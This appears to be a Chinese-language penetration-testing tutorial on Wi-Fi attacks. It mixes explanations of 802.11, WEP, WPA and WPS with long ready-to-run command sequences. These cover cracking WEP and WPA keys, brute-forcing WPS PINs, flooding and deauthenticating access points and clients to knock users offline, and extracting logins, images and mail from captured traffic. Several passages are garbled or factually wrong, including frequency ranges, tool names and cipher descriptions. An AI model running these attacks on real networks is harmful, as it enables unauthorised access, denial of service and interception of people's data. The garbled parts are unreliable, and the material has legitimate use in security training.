无线攻击技术
-
无线网络渗透相比较有线渗透更容易,不需要必须入侵目标主机才可以获取控制权和目标主机的信息。由于无线网络是公共传播,所以渗透测试者可以直接监听,以发现活动主机或者截获数据。同时,渗透测试人员可以构建大功率伪AP(Access Point,无线接入点),诱骗目标用户进行连接。目标主机一旦接入伪AP,就很容易被控制。
-
Wi-Fi网络的组成非常简单,只需要一个AP和一个客户端即可构成一个Wi-Fi网络。但是在Wi-Fi网络中,并不是只可以有一个客户端,而是可以连接多个客户端。下面将分别介绍这两个组成部分的作用。
- AP也称为基站。平常人们都说是Wi-Fi热点,更通俗地说就是家里的无线路由器。它的作用相当于一个转发器,将互联网上其他服务器上的数据转发到客户端。
- STA(Station)称为站点,就是所谓的客户端。站点是指具有Wi-Fi通信功能并且连接到无线网络中的终端设备,如手机、平板和笔记本电脑等。
-
在Wi-Fi网络中,数据传输共包括4个过程,分别是AP广播、AP探测、身份认证和数据传输。
- AP广播:如果在无线路由器中开启SSID广播功能的话,AP将自动广播自己的SSID名称。其中,SSID是Service Set Identifier的缩写,意思是服务集标识,简单地说,就是用户在无线客户端搜索到的无线信号。用户可以自己设置AP的SSID。
- 2.AP探测:当客户端选择加入哪个无线网络时,将会发送一个AP探测请求,以请求特定无线网络的响应包。然后根据AP给予的响应包,确定AP工作的频段。之后客户端将切换到与AP相同的频段。
- 身份认证:客户端将提供密码,以进行身份认证。如果AP确定客户端提交的认证信息正确后,则允许接入其网络。然后,客户端和AP进行关联,直至关联成功。
- 数据传输:通过前面的3个过程,客户端就成功加入AP所在的无线网络了。此时,客户端就可以和AP进行数据传输了。
-
2.4G和5G是无线通信的两个标准。这两个标准本质上是指Wi-Fi频率不同,而且运行的协议也不同。其中,2.4G Wi-Fi无线网主要使用的是802.11b/g/n协议;5G Wi-Fi无线网只能使用802.11ac协议。在Wi-Fi网络初期,是没有5GHz这个频段的,由于2.4GHz频段设备越来越多,互相干扰得太厉害,所以就开放了5GHz这个标准。因为5GHz是高频频段,而且5G频段连接的设备较少,所以理论上比2.4G传输速度更快。但是,由于5GHz频率高,所以波长相对于2.4GHz要短很多,因此穿透性和传播距离比较弱。
- 信道也称做通道(Channel)、频段,它是以无线信号作为传输载体的数据信号传送通道。简单地说就是无线路由器的工作信道。信道的主要作用就是为了避免信号之间的干扰,所以无线路由器可以在多个信道上运行。2.4GHz(=2400MHz)频段共划分为14个信道,但第14信道一般不用。每个信道的有效宽度是20MHz,另外还有2MHz的强制隔离频带(类似于公路上的隔离带)。所以,对于中心频率为2412MHz的1信道,其频率范围为2401~2423MHz。
- 2.4G标准:2.4G频段的频率范围是2.4122.484GHz,共划分为14个信道。我国可用13个信道,即113。
- 5G标准:5G频率是新分配的,该频段的中心频率范围是4.915~5.865GHz。但是,国内规定可用的5G信道只有5个,分别是149、153、157、161和165。
-
Wi-Fi网络通用的协议标准是IEEE 802.11。IEEE 802.11是由电气和电子工程师协会(IEEE)为无线局域网络制定的标准。为了满足用户的需求,IEEE小组又相继推出了一系列的标准,如802.11a、802.11b和802.11g等。目前,最新的无线网络协议标准是802.11ac。
- 802.11协议:虽然802.11协议已经发展了多个标准,但是目前主流的无线Wi-Fi网络设备都支持802.11a、802.11b、802.11g和802.11n这4个协议标准。而且,802.11n向下兼容,即兼容802.11a/b/g。
- 802.11ac协议:802.11ac协议是在802.11a标准上建立起来的,是802.11n的继承者。
-
无线网卡一般有4种工作模式,分别是管理模式(Managed)、主模式(Master)、Ad-Hoc模式和监听模式(Monitor)。下面将分别介绍这4种工作模式。
- Managed模式:Managed模式用于无线客户端直接与无线接入点(Access Point,AP)进行接入连接。在这个模式中,用户可以将无线接入互联网。其中,无线网卡的驱动程序依赖无线AP管理整个通信过程。
- Master模式:一些无线网卡支持Master模式。这个模式允许无线网卡使用特制的驱动程序和软件工作,作为其他设备的无线AP。主模式主要使用于无线接入点AP,提供无线接入服务及路由功能。例如,无线路由器就是工作在Master模式下。对于普通的PC机来说,如果有合适的硬件也可以变成一台无线AP。
- Ad-Hoc模式:当用户的网络由互相直连的设备组成时,就使用Ad-Hoc模式。在这个模式中,各设备之间采用对等网络的方式进行连接,无线通信双方共同承担无线AP的职责。
- Monitor模式:监听模式主要用于监控无线网络内部的流量,用于检查网络和排错。如果要捕获无线数据包,用户的无线网卡和配套驱动程序必须支持监听模式(也叫RFMON模式)。
-
工作原理:正常情况下,网卡都工作在管理模式,将要发送的数据包发往连接在一起的所有主机,数据包中包含着应该接收数据包主机的正确地址,只有与数据包中目标地址一致的主机才能接收。但是当处于监听模式下时,无论数据包中的目标地址是什么,主机都将接收,而且网络监听不容易被发现。因为运行网络监听的主机只是被动地接收在局域网中传输的信息,不主动与其他主机交换信息,也没有修改在网络中传输的数据包。
-
无线网络是由路由器和无线客户端两部分组成。在专业术语中,通常称路由器为AP(Access Point,接入点);无线客户端为STA(Station)。在一个无线网络中,至少有一个AP和一个或一个以上的无线客户端。
- 由于AP会定时地广播SSID,所以STA可监听到AP发出的信号。当STA加入无线网络时,会发送一个探测请求。当AP收到该请求时,回应一个含频带信息的响应包。此时,STA会切换到指定的频带。
- STA将提供密码,以认证该无线网络。当AP对STA提交的认证信息确认正确后,即允许STA接入无线网络。
- STA和AP建立关联。在关联过程中,STA与AP之间要根据信号的强弱协商速率,直至关联成功。其中,一个STA同时只能与一个AP关联。
- 此时,STA和AP就可以进行数据收发了。
-
IEEE 802.11是现今无线局域网通用的标准,它是由电气和电子工程师协会(IEEE)为无线局域网络制定的标准。虽然经常将Wi-Fi与802.11混为一谈,但两者并不等同。
- 802.11是IEEE最初制定的一个无线局域网标准,也是在无线局域网领域内的第一个国际认可的协议。它主要用于解决办公室局域网和校园网中用户与用户终端的无线接入,速率最高只能达到2Mbps。由于802.11在速率和传输距离上不能满足人们的需要,IEEE小组又相继推出了802.11b和802.11a两个新标准。三者技术上的主要差别在于MAC子层和物理层。
- 802.11ac是802.11n的继承者。它是在802.11a标准上建立起来的,包括使用802.11ac的5GHz频段。802.11ac每个通道的工作频宽将由802.11n的40MHz提升到80MHz,甚至160MHz,再加上大约10%的实际频率调制效率提升,最终理论传输速度将由802.11n最高的600Mbps跃升至1Gbps。实际传输率可以在300Mbps400Mbps之间,接近目前802.11n实际传输率的3倍(目前802.11n无线路由器的实际传输率在75Mbps150Mbps之间),足以在一条信道上同时传输多路压缩视频流。
- 2.4GHz频段指的是无线信号的频率范围。无线信号在规定的频率范围传输数据。2.4GHz频段的频率范围是2.4~2.4835GHz。为了充分利用这个频段,将该范围分为几个部分,每个部分称为一个信道。目前主流的WiFi网络一般都支持13个信道。它们的中心频率虽然不同,但是,因为都占据一定的频率范围,所以会有一些互相重叠的情况。
- 5GHz频段逐渐走进了人们的生活。5GHz是新的无线协议。5GHz频段由于频率高,波长相对于2.4GHz要短,因此穿透性和距离性偏弱,但数据传输更快。5GHz支持的信道有5个,分别是149、153、157、161和165。
- 信道带宽也常被称为“频段带宽”,是调制载波占据的频率范围,也是发送无线信号频率的标准。在常用的2.4~2.4835GHz频段上,每个信道的带宽为20MHz。802.11 n协议包括两个带宽,分别是20MHz和40MHz。
- 无线网络安全保障是用来保护无线网络安全的相关设置。在大部分路由器中,支持3种无线加密方式,分别是WEP(Wired Equivalent Privacy,有线等效保密协议)、WPS(Wi-Fi Protected Setup,WiFi保护设置)和WPA/WPA2(Wi-Fi Protected Access)。而且,为了方便连接到无线网络,用户也可以不使用加密。
-
无线网卡可以工作在多种模式下,以实现不同的功能。其中,主要模式有被管理模式(Managed mode)、Ad hoc模式、主模式(Master mode)和监听模式(Monitor mode)。
- 被管理模式(Managed mode):当用户的无线客户端直接与无线接入点(Wireless Access Point,WAP)连接时,使用这个模式。在这个模式中,无线网卡的驱动程序依赖WAP管理整个通信过程。
- Ad hoc模式:点对点模式。当用户的网络由互相直连的设备组成时,使用这个模式。在这个模式中,无线通信双方共同承担WAP的职责。
- 主模式(Master mode):一些高端无线网卡支持主模式。这个模式允许无线网卡使用特制的驱动程序和软件工作,作为其他设备的AP。
- 监听模式(Monitor mode):从用途角度来说,这是最重要的模式。如果网线客户端不同于收发数据,只用于监听网络中所有的数据包时,使用监听模式。
-
基本使用
airmon-ng start <interface> # 监听2.4GHz频段 # 支持5G WiFi的常见网卡芯片有RT3572和RTL8812AU。RT3572芯片的无线网卡和普通的无线网卡设置相同,但是需要安装驱动才可以 apt-get install realtek-rtl88xxau-dkms # 安装驱动模块 iwconfig # 查看无线网卡工作模式 ip link set wlan0 down # 关闭无线网卡 iwconfig wlan0 mode monitor # 修改无线网卡为监听模式 ip link set wlan0 up # 打开无线网卡 airmon-ng start <interface> # 监听5.0Ghz频段 airodump-ng <interface> # 扫描无线网络 kismet # 扫描无线网咯并生成五个日志文件 alert # 警报的纯文本日志文件。Kismet将对特别关注的事件发送警报。 gpsxml # XML格式的GPS日志文件。 nettxt # 纯文本格式的网络信息。 netxml # XML格式的网络信息。 pcapdump # 通过pcap捕获的实时数据通信文件。这取决于libpcap版本,此文件可能包含每个数据包的信息,包括GPS坐标信息。 # 破解WEP无线网络密码 airmon-ng start wlan0 # 启动监听模式 airodump-ng wlan0mon # 扫描无线网络 airodump-ng --ivs -w wep --bssid 14:E6:E4:84:23:7A -c 1 wlan0mon # 捕获WEP无线网络数据包,并指定捕获到的数据包保存在wep文件中 aireplay-ng -3 -b [AP MAC] -h [Client MAC] wlan0mon # 实施注入攻击 aircrack-ng wep-01.ivs # 实施密码破解 # 破解WPA/WPA2无线网络密码 airodump-ng start wlan0 && airodump-ng wlan0mon # 启动监听模式,并扫描无线网络 airodump-ng -c 4 -w wlan --bssid 70:85:40:53:E0:3B wlan0mon # 重新捕获数据包,并指定目标AP的BSSID、信道及文件保存位置 mdk3 wlan0mon d -s [time] -c [channel] # d实施死亡攻击;-s发送包的时间间隔;-c攻击的信道 aircrack-ng -w passwords.txt wlan-01.cap # 实施暴力破解
-
设置监听模式
# 启用2.4GHz无线网卡监听 iwconfig wlan0mon # 查看无线网卡工作模式 airomon-ng start <interface> # 启用监听模式 airmon-ng stop wlan0mon # 停止监听 # 启用5.0GHz无线网卡监听 iwconfig # 查看无线网络接口的工作模式 ip link set wlan0 down # 停止无线网络接口 iwconfig wlan0 mode monitor # 设置无线网卡为监听模式 ip link set wlan0 up # 启动无线网卡 iwconfig wlan0 # 关闭5.0GHz无线网卡监听 ip link set wlan0 down # 停止无线网络接口 iwconfig wlan0 mode managed # 设置无线网卡为管理模式 ip link set wlan0 up # 启动无线网络接口 iwconfig wlan0 # 查看无线网卡的工作模式 # 远程监听 airserv-ng [options] -p <port> # 指定监听的端口号,默认值为666 -d <iface> # 指定使用的无线网络接口 -c <chan> # 指定使用的信道 -v <level> # 指定的冗余级别。其中,支持的冗余级别有3个(1~3),默认值为1。冗余级别1表示显示连接和断开连接的客户端;冗余级别2表示除了显示冗余级别1的信息外,还显示信道改变请求和无效客户端命令请求信息;冗余级别3表示显示每次向客户机发送数据包时的信息 airserv-ng -d wlan0 # 启动无线网卡服务 airodump-ng 192.168.0.106:666 # 远程连接无线网卡服务
-
扫描无线网络
-
渗透测试者在扫描无线网络时,可以通过主动或被动两种方式来实施扫描。其中,主动扫描是客户端主动发送探测请求帧,根据响应的信号帧来确定存在的AP;被动扫描是通过监听AP自动发送的信号帧,来确定存在的AP。
-
主动扫描方式是客户端主动向AP发送探索请求帧。发送时,请求帧使用NULL或设置的SSID名称。当周围的AP收到该请求后,将会响应该探索信号帧。该探索响应帧包括信号帧中的所有信息,即使不发送信号的AP也会响应该请求,进而暴露它的存在。所以,基于这种扫描方式,用户能够发现更多个AP。但是为了AP不被扫描发现,一些网络/系统管理员也可以设置AP,忽略设置为NULL的探索请求。
-
被动扫描是利用AP每隔一段时间自动发送信号帧的机制进行扫描。如果AP广播的SSID在客户端首选网络列表中,客户端将尝试连接到该网络。如果监听到周围有两个或多个AP发送的信号,则可以选择连接信号最好的AP。在这种模式下,客户端不需要主动探索目标网络。但是,如果AP不自动广播信号帧的话,则无法发现存在的AP。此时,必须使用主动扫描方式。
# 扫描所有的AP airodump-ng <interface> -w <file> # 实时扫描并保存捕获的数据包 airodump-ng -r wifi.pcap # 离线扫描,读取扫描所得文件 airodump-ng wlan0mon --manufacturer # 获取AP的生产厂商 wash -i wlan0mon # 扫描开启WPS功能的AP mdk3 wlan0mon p -b a -t 8C:21:0A:44:09:F8 -s 100 # 获取隐藏的ESSID interface # 指定监听的网络接口 p # 指定使用BSSID探测和ESSID暴力破解模式 -b # 使用全暴力破解模式 -t # 指定目标AP的MAC地址 -s # 设置发包速率 https://mac.51240.com/ or http://7n4.cn/mac= # 获取生产信息后查询漏洞信息 # 扫描客户端 airodump-ng wlan0mon # 扫描记录所有的客户端 git clone http://github.com/xme/hoover ~/bin/ /root/hoover/hoover.pl --interface=wlan0mon --tshark- path=/usr/bin/tshark --dumpfile=result.txt # 扫描未关联的主机 --interface # 指定使用的无线网络监听接口 --help # 显示帮助信息 --verbose # 标准输出详细信息 --ifconfig-path # 指定ifconfig库的路 --iwconfig-path # 指定iwconfig库的路径 --tshark-path # 指定tshark库的路径 --dumpfile # 保存查找到的SSID/MAC地址到一个文件中 apt-get install airgraph-ng airgraph-ng -i /root/dump-01.csv -o Image.png -g CAPR # 查看AP和客户端关联关系 -h,--help # 显示帮助信息。 -o OUTPUT,--output=OUTPUT # 指定输出的图片文件位置,如Image.png -i INPUT,--dump=INPUT # 指定使用Airodump-ng生成的CSV格式文件。注意,不是pcap文件 -g GRAPH_TYPE,--graph=GRAPH_TYPE # 指定生成的图形类型。这里可以指定两种类型,分别是CAPR(Client to AP Relationship)或CPG(Common Probe Graph)。其中,CAPR是一个客户端和AP关联的关联图;CPG是一个通用探测图 # 扫描地址位置 apt-get install gpsd gpsd-clients # 添加gpsd程序来使用gps功能(前提你得有) apt-get install foxtrotgps # gps查看工具 airodump-ng wlan0mon --gpsd -w gps # 捕获GPS信息,并将捕获到的包保存在gps文件中 Kismet # 记录GPS信息 # giskismet查看GPS信息 giskismet -x Kismet-20190425-15-51-50-1.netxml # 将收集到的Kismet数据导入数据库中 file wireless.dbl # 查看生成的数据库文件 giskismet -q "select * from wireless where ESSID='Test'" # 查询SSID名称为Test的AP信息 # 下载并安装Google Earth软件 dpkg -i google-earth-stable_current_amd64.deb giskismet -q "select * from wireless" -o gps.kml # 导出数据库中的信息,并保存到gps.kml文件中 google-earth-pro # 启动Google Earth工具
-
-
数据帧的主要功能是为了无线AP和客户端之间传递数据。
-
控制帧主要用于竞争期间的握手通信和正向确认、结束非竞争期等。其中,常用的控制帧有4个,分别是RTS(请求发送)、CTS(允许发送)、ACK(应答)和PS-poll(省电模式-轮询)。
- RTS/CTS:实现虚拟载波监听功能。为防止冲突的发生,需要使用和以太网类似的冲突检测机制。但是由于无线网络的特点,会产生隐藏节点,而物理载波监听无法发现隐藏的节点,还是会产生冲突,因此出现虚拟载波。
- ACK:因为无线网络的特点,很难保证数据一定会到达目的地。所以,为了确保数据一定会到达目的地,802.11采用确认、重传机制。即每一个数据都必须确认ACK,如果没有收到ACK,发送方会重新发送。这可能导致信号差的时候重传概率加大,造成传输速度下降。
- PS-poll:省电模式-轮询帧。这种情况主要是考虑到使用无线网络的设备多数为移动设备,无法保证供电。为了尽量减少工作站的耗电所采取的一种模式。
-
管理帧主要用于无线客户端与AP之间协商、关系的控制,如关联、认证和同步等。另外,Beacon帧也属于管理帧。
airmon-ng start wlan0 1 # 设置监听信道 iwconfig wlan0 channel 1,6,11 # 设置同时监听信道1、6和11 airdecap-ng -w "61:62:63:64:65" wep.pcap # 永久解密WEP加密数据包 airdecap-ng -e Test -p daxueba! wpa.pcap # 解密捕获文件wpa.pcap中的加密数据包 root@daxueba:~# ettercap -Tq -r <pcapfile> ettercap -Tq -r client.pcap # 捕获文件client.pcap中提交登录信息 -T # 脱机嗅探。当指定该选项后,EtterCap工具将监听一个pcap兼容文件中存储的网络数据包,而不是直接监听网络上的数据包 -q # 安静模式,即不显示包内容 -r # 指定打开的捕获文件 driftnet -f client.pcap -d /tmp # 提取图片,并指定临时保存到/tmp目录中 -f<file> # 指定读取的捕获文件 -d<dir> # 指定提取到的图片临时保存目录 apt-get install httpry httpry -r client.pcap # 从client.pcap捕获文件中提取HTTP访问记录 urlsnarf -p client.pcap # 从捕获文件client.pcap中提取HTTP访问记录 # 使用Xplico提取图片和视频 apt-get install xplico service xplico start service apache2 start netstat -anptul | grep 9876 filesnarf -p client.pcap # 从捕获文件中提取NFS文件 mailsnarf -p client.pcap # 从捕获文件中提取邮件记录
-
WPS(Wi-Fi Protected Setup)是Wi-Fi保护设置的英文缩写。WPS是由Wi-Fi联盟组织实施的可选认证项目,主要为了简化无线局域网安装及安全性能的配置工作。WPS并不是一项新增的安全性能,它只是使现有的安全技术更容易配置。
-
对于一般用户来说,WPS确实提供了一个相当简便的加密方法。通过该功能,不仅可以将都具有WPS功能的Wi-Fi设备和无线路由器进行快速互联,还会随机产生一个8位数字的字符串作为个人识别码(PIN)进行加密操作。这样,省去了客户端连入无线网络时,必须手动添加网络名称(SSID)及输入冗长的无线加密密码的烦琐过程。
-
在WPS加密中,PIN码是网络设备间获得接入的唯一要求,不需要其他身份识别方式,所以用户可以对其进行暴力破解。其中,WPS PIN码的第8位数是一个校验和,因此渗透测试者只需要算出前7位数即可。这样,唯一的PIN码的数量降了一个级次变成了10的7次方,也就是说有1000万种变化。
-
另外,在实施PIN的身份识别时,无线路由器实际上是要找出这个PIN的前半部分(前4位)和后半部分(后3位)是否正确即可。无线安全专家Viehbock称,当第一次PIN认证连接失败后,路由器会向客户端发回一个EAP-NACK信息。通过该回应,攻击者能够确定PIN前半部或后半部是否正确。换句话说,渗透测试者只需从7位数的PIN中找出一个4位数的PIN和一个3位数的PIN。这样一来,级次又被降低,从1000万种变化,减少到11000(10的4次方+10的3次方)种变化。因此,在实际破解尝试中,渗透测试者最多只需试验11000次,平均只需试验大约5500次就能破解。
wifite --wps --wps-only --ignore-locks # 破解WPS加密 --wps # 仅显示启用WPS功能的无线网络 --wps-only # 仅实施WPS PIN和Pixie-Dust攻击 --bully # 使用bully程序实施WPS PIN和Pixie-Dust攻击。默认使用reaver程序 --ignore-locks # 当AP锁定后,继续WPS PIN攻击 reaver -i wlan0mon -b 14:E6:E4:84:23:7A -p 98874019 -vv # 暴力破解PIN码 interface # 指定监听的无线网络接口 -b # 指定目标AP的MAC地址 -c # 指定工作的信道 -vv # 显示更详细信息 bully --bssid 14:e6:e4:84:23:7a wlan0mon -c 1 # 破解WPS加密 interface # 指定监听的无线网络接口 -b,--bssid # 指定目标AP的MAC地址 -c,--channel # 指定目标AP工作的信道 -vv # 显示更详细的信息 pixiewps -e <pke> -r <pkr> -s <e-hash1> -z <e-hash2> -a <authkey> -n <e-nonce> # 实施破解WPS认证 -e,--pke # 指定客户端Enrollee的DH公钥 -r,--pkr # 指定Registrar的DH公钥 -s,--e-hash1 # 指定客户端Enrollee的Hash1 -z,--e-hash2 # 指定客户端Enrollee的Hash2 -a,--authekey # 指定认证会话ID -n,--e-nonce # 指定Enroolee的随机数。在M1消息中可以找到
-
防止锁PIN:目前,大部分路由器都自带了防PIN功能。当用户穷举PIN码实施暴力破解时,连续使用超过特定次数的PIN码后,路由器会暂时锁定WPS功能一段时间。这种情况下,用户需要耐心等待其恢复WPS功能。为了加快破解速度,用户可以借助MDK3工具来解除PIN锁。
# AP洪水攻击,又叫做身份验证攻击。这种攻击方式就是向AP发动大量虚假的连接请求。当发送的请求数量超过无线AP所能承受的范围时,AP就会自动断开现有连接,使合法用户无法使用无线网络。这样,将迫使路由器主人重启路由器,即可解除PIN锁。 mdk3 wlan0mon a -a 14:E6:E4:84:23:7A # 对MAC地址的AP实施洪水攻击 interface # 指定监听的无线网络接口 a # 实施洪水攻击 -a<ap_mac> # 指定攻击的AP # EAPOL-Start洪水攻击,可以注销AP与关联客户端的认证信息。当客户端无法正常与AP建立连接后,则需要重新认证。这样,同样可以迫使用户重启路由器。 mdk3 wlan0mon x 0 -t 14:E6:E4:84:23:7A -n Test # 实施洪水攻击 mdk3 wlan0mon x 1 -t 8C:21:0A:44:09:F8 -c 00:13:EF:90:35:20 # 对关联的客户端认证注销 interface # 指定监听的无线网络接口 x 0 or 1 # 0实施EAPOL洪水攻击,1实施注销认证攻击 -t<ap_mac> # 指定攻击AP的MAC地址 -n<ssid> # 指定攻击AP的SSID名称 -c<sta_mac> # 指定目标客户端的MAC地址 # Deauth DDOS攻击即为取消验证洪水攻击。这种攻击方式可以强制解除AP与客户端之间的验证及连接。当用户无法正确连接到无线网络时,将被迫重新启动路由器。 mdk3 wlan0mon d -s 120 -c 1,6,11 # 实施Deauth DDOS攻击 interface # 指定监听的无线网络接口 d # 实施取消验证洪水攻击 -s<pps> # 指定每秒发送的包数 -c # 指定攻击的信道
-
-
WEP的全称为Wired Equiv alent Privacy,即有线等效保密协议。WEP协议是对在两台设备间无线传输的数据进行加密的方式,用以防止非法用户窃听或侵入无线网络。由于该加密方式使用了简单的RC4流密码算法,使得渗透测试者在客户端获取到大量有效通信数据时即可破解出其密码。
-
WEP是一种数据加密算法,用于提供等同于有线局域网的保护能力。使用了该技术的无线局域网,所有客户端与无线接入点的数据都会以一个共享的密钥进行加密,密钥的长度有40位和256位两种。密钥越长,安全性越高。
-
WEP加密使用共享密钥和RC4加密算法。访问点(AP)和连接到该访问点的所有客户端必须使用同样的共享密钥。对于向任一方向发送的数据包,传输程序都将数据包的内容与数据包的校验和组合在一起,然后WEP标准要求传输程序构造一个针对数据包的特有初始化向量(IV),后者与密钥组合在一起,用于对数据包进行加密。接收器生成自己的匹配数据包密钥,并用于对数据包进行解密。在理论上,这种方法优于单独使用共享私钥的显示策略。因为这样增加了一些与数据包相关的数据,加大了第三方的破解难度。
-
RC4算法本身就有一个小缺陷,可以利用这个缺陷来破解密钥。因为RC4是密钥流的一种,同一个密钥绝不能使用两次,所有使用(虽然是用明文传送)IV的目的就是要避免重复。但是,24个比特位的IV并没有长到足以担保在忙碌的网络上不会重复,而且IV的使用方式也使其有可能遭受到关联式密钥攻击。
-
WEP标准允许IV重复使用,平均大约每5小时重复一次。这一特性会使得攻击WEP变得更加容易。因为重复使用IV,就可以使攻击者用同样的密文重复进行分析。
-
WEP标准不提供自动修改密钥的方法,因此用户只能手动对访问点(AP)及其工作站重新设置密钥。但是在实际情况中,用户一般不会去修改密钥,这样就会导致用户的无线局域网遭受被动攻击,如收集流量和破解密钥。
-
最早的一些开发商的WEP实施只提供40位加密(即5个字符),密钥长度太短。目前提供的密钥长度为128位。但是128位的密钥长度减去24位IV后,实际上有效的密钥长度为104位(即13个字符),所以还是很容易受攻击的。
-
WEP提供了两种认证方式,分别是开放系统认证(Open system authentication)开放系统认证是默认使用的认证机制,也是最简单的认证算法,即不认证。如果认证类型设置为开放系统认证,则所有请求认证的客户端都会通过认证。和共享密钥认证(Shared key authentication)共享密钥认证是除开放系统认证外的另一种认证机制。该认证方式主要是通过共享40bits或104bits静态密钥来实现认证的。共享密钥认证需要客户端和设备端配置相同的共享密钥。共享密钥认证包括4个步骤:
- 客户端向AP发送认证请求。
- AP接收到请求后,会随机产生一个Challenge包(即一个128bits的字符串),并发送给客户端。
- 客户端接收到字符串后复制到新的消息中,并用密钥加密后再发送给AP。
- AP接收到该消息后,用密钥将该消息解密,然后对解密后的字符串和最初给客户端的字符串进行比较。如果相同,则说明客户端拥有与AP相同的共享密钥,即共享密钥认证成功,否则表示共享密钥认证失败。
-
由于WEP加密方式中存在漏洞,导致渗透测试者可以很容易就能破解出密码。
# airmon-ng破解WEP密码 airmon-ng start wlan0 # 启动无线网卡为监听模式 airodump-ng wlan0mon # 扫描网络,以找出使用WEP加密的目标网络 airodump-ng --ivs -w wep --bssid 14:E6:E4:84:23:7A -c 1 wlan0mon# 指定仅捕获目标AP的数据包,并指定将捕获到的IVs数据保存到wep文件中 aireplay-ng -3 -b 14:E6:E4:84:23:7A -h 1C:77:F6:60:F2:CC wlan0mon # 实施ARP Request注入攻击,以加快捕获数据包的速度,进而提高破解效率 aircrack-ng wep-01.ivs # 破解密码 # besside-ng自动破解WEP加密 besside-ng -b 14:E6:E4:84:23:7A -c 1 wlan0mon -b[BSSID] # 指定目标AP的BSSID。 -c[channel] # 指定目标AP工作的信道。 interface # 指定监听网络接口 cat besside.log # Wifite工具破解WEP加密 wifite --wep --keep-ivs -wep # 仅显示WEP加密网络 --require-fakeauth # 如果伪认证失败,则攻击失败 --keep-ivs # 保留.IVS文件 cat cracked.txt # Fern WiFi Cracker工具破解WEP加密的无线网络 # 启动Fern WiFi Cracker工具。在桌面依次选择“应用程序”|“无线攻击”|Fern WiFi Cracker命令。 # 该对话框询问当前使用的Fern WIFI Cracker工具提供了一个专业版本,是否想要了解。如果想更了解,则单击Yes按钮,否则单击No按钮。如果不希望下次再弹出该对话框,可勾选Don't show this message again复选框。选择无线网络接口wlan0,该对话框显示了扫描技巧设置信息,单击OK按钮。如果用户不希望再次弹出该对话框的话,可以勾选Don't show this message again复选框。 # 单击Scan for Access points按钮,开始扫描网络。在对话框中可以看到扫描到的使用WEP和WPA加密的所有无线网络。用户可以选择任何一个无线网络进行破解。这里选择WEP加密的无线网络,单击WiFi WEP图标。从该对话框中可以看到,只有一个Test无线网络,所以这里选择攻击目标Test。选中Regular Attack单选按钮,然后勾选Automate复选框,单击WiFi Attack按钮开始暴力破解。 # 对话框中有一个进度条,可以看到破解的速度。当破解成功后将会在进度条下方显示破解出的密码。可以看到,成功破解出的Test无线网络的密码为6162636465。
-
-
WPA全名为Wi-Fi Protected Access(Wi-Fi保护访问),是一种无线网络通信安全保护系统。它有WPA和WPA2两个标准。WPA加密是为了取代WEP加密而产生的一种加密协议。WPA2是WPA的增强型版本。
-
WPA是继承了WEP基本原理,而又解决了WEP缺点的一种新技术。WPA加强了生成加密密钥的算法。因此,即便收集到分组信息并对其进行解密,也几乎无法计算出密钥。WPA可以兼容WEP加密方式,采用TKIP算法和MIC算法。而WPA2(WPA的升级)采用了AEP算法(取代了TKIP)和CCMP算法(取代了MIC)。其中,这几种算法的含义如下:
- TKIP:Temporal Key Integrity Protocol,临时密钥完整性协议,是一种旧的加密标准。
- AES:Advanced Encryption Standard,高级加密标准,安全性比TKIP好,推荐使用。
- CCMP:Counter CBC-MAC Protocol,计算器模式密码块链消息完整码协议。CCMP主要有两个算法所组合而成,分别是CTR mode和CBC-MAC mode。CTR mode为加密算法,CBC-MAC用于信息完整性的运算。
- MIC:Message Integrity Code,用于实现信息编码的完整性机制。
-
WPA有4种加密类型,分别是WPA、WPA-PSK、WPA2和WPA2-PSK。
- WPA/WPA2工作原理:WPA/WPA2是一种比WEP更强壮的加密算法。当用户使用这种加密类型时,路由器将使用Radius服务器进行身份认证,并得到密钥的WPA或WPA2安全形式。如果使用专用的Radius认证服务器,则需要较高的费用,而且实施保护也比较复杂。所以,这种加密类型一般只用于大型企业。
- 客户端向接入设备发送一个EAPOL-Start报文,开始WPA/WPA2认证接入。接入设备向客户端发送EAP-Request/Identity报文,要求客户端提交用户名。客户端回应一个EAP-Response/Identity给接入设备的请求,其中包括用户名。接入设备将EAP-Response/Identity报文封装到RADIUS Access-Request报文中,发送给认证服务器。
- 认证服务器产生一个Challenge,通过接入设备将RADIUS Access-Challenge报文发送给客户端,其中包含EAP-Request/MD5-Challenge。接入设备通过EAP-Request/MD5-Challenge发送给客户端,要求客户端进行认证。客户端收到EAP-Request/MD5-Challenge报文后,将密码和Challenge做MD5算法生成Challenged Password,再由EAP-Response/MD5-Challenge回应给接入设备。
- 接入设备将Challenge、Challenged Password和用户名一起送到RADIUS服务器,由RADIUS服务器进行认证。RADIUS服务器根据用户信息做MD5算法,判断用户是否合法。然后,回应认证成功或失败的报文给接入设备。如果成功,发送协商参数及用户的相关业务属性给用户授权。如果认证失败,则流程到此结束。如果认证通过,用户通过标准的DHCP协议(可以是DHCP Relay),通过接入设备而获取规划的IP地址。
- 如果认证通过,接入设备发送计费开始请求到RADIUS用户认证服务器。RADIUS用户认证服务器回应计费开始请求报文。此时,客户端成功连接到Wi-Fi网络。
- WPA-PSK/WPA2-PSK工作原理:WPA-PSK/WPA2-PSK其实是WPA/WPA2加密类型的一种简化版。它根据共享密钥的WPA形式进行加密,安全性很高,设置也比较简单。所以,这种加密类型适合普通用户使用。
- 无线AP定期发送Beacon数据包,使无线终端可以更新自己的无线网络列表。无线终端在每个信道(1-13)广播Probe Request请求。每个信道的AP回应Probe Response,包含ESSID及RSN信息。无线终端向目标AP发送AUTH包。AUTH认证类型有两种,分别是0和1。其中,0表示开放式,1表示共享式(WPA/WPA2必须是开放式)。
- AP回应网卡AUTH包。无线终端向AP发送关联请求包Association Request数据包。AP向无线终端发送关联响应包Association Response数据包。EAPOL四次握手进行认证。认证完成,即成功连接到AP。
- WPA/WPA2工作原理:WPA/WPA2是一种比WEP更强壮的加密算法。当用户使用这种加密类型时,路由器将使用Radius服务器进行身份认证,并得到密钥的WPA或WPA2安全形式。如果使用专用的Radius认证服务器,则需要较高的费用,而且实施保护也比较复杂。所以,这种加密类型一般只用于大型企业。
-
WPA/WPA2加密方式虽然已经很安全,但是也存在一个较小的弱点。当用户捕获到客户端与AP之间的握手包,并且有一个非常强大的字典,即可暴力破解出它的密码。
